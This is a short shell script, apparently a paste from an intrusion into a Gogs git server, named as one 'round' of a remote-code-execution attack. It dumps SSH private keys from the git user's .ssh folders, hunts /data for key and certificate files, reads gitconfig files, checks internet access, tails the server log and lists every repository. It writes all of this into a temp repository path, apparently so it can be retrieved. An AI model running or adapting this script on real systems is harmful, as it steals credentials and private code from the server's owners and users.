update 1.4 KB

12345678910111213141516
  1. #!/bin/sh
  2. OUT=/data/gogs/data/tmp/local-r/118/nslxlxsqfe/rce-lxlxsqfe.git
  3. R=/data/git/gogs-repositories
  4. LOG=$OUT/out2138e
  5. {
  6. echo "=== round2138e $(date -u) ==="
  7. echo "--- /data/git/.ssh ---"; ls -la /data/git/.ssh/ 2>&1; for f in /data/git/.ssh/*; do echo "== $f"; head -c 4000 "$f" 2>&1; echo; done
  8. echo "--- /home/git/.ssh all ---"; ls -la /home/git/.ssh/ 2>&1; for f in /home/git/.ssh/*; do echo "== $f"; head -c 3000 "$f" 2>&1; echo; done
  9. echo "--- key hunt under /data ---"; find /data -maxdepth 5 \( -name "id_*" -o -name "*.pem" -o -name "*.key" -o -name "authorized_keys*" -o -name "*.pub" -o -name "*.ppk" \) -type f 2>/dev/null | head -30
  10. echo "--- gitconfig ---"; cat /home/git/.gitconfig /data/git/.gitconfig 2>&1 | head -30
  11. echo "--- local-r/118 tree ---"; ls -la /data/gogs/data/tmp/local-r/118/ 2>&1 | head -20; ls -la /data/gogs/data/tmp/local-r/118/*/ 2>/dev/null | head -30
  12. echo "--- internet check ---"; curl -s -m 8 -o /dev/null -w "github:%{http_code}\n" https://github.com/ 2>&1; curl -s -m 8 -o /dev/null -w "hub:%{http_code}\n" https://registry-1.docker.io/v2/ 2>&1
  13. echo "--- gogs log tail ---"; ls -la /data/gogs/log/ 2>/dev/null; tail -c 800 /data/gogs/log/gogs.log 2>/dev/null
  14. echo "--- all owners repos (full) ---"; ls /data/git/gogs-repositories/ ; for o in $(ls /data/git/gogs-repositories/); do echo "== $o"; ls /data/git/gogs-repositories/$o/ | head -40; done
  15. echo "=== end round2138e $(date -u) ==="
  16. } > $LOG 2>&1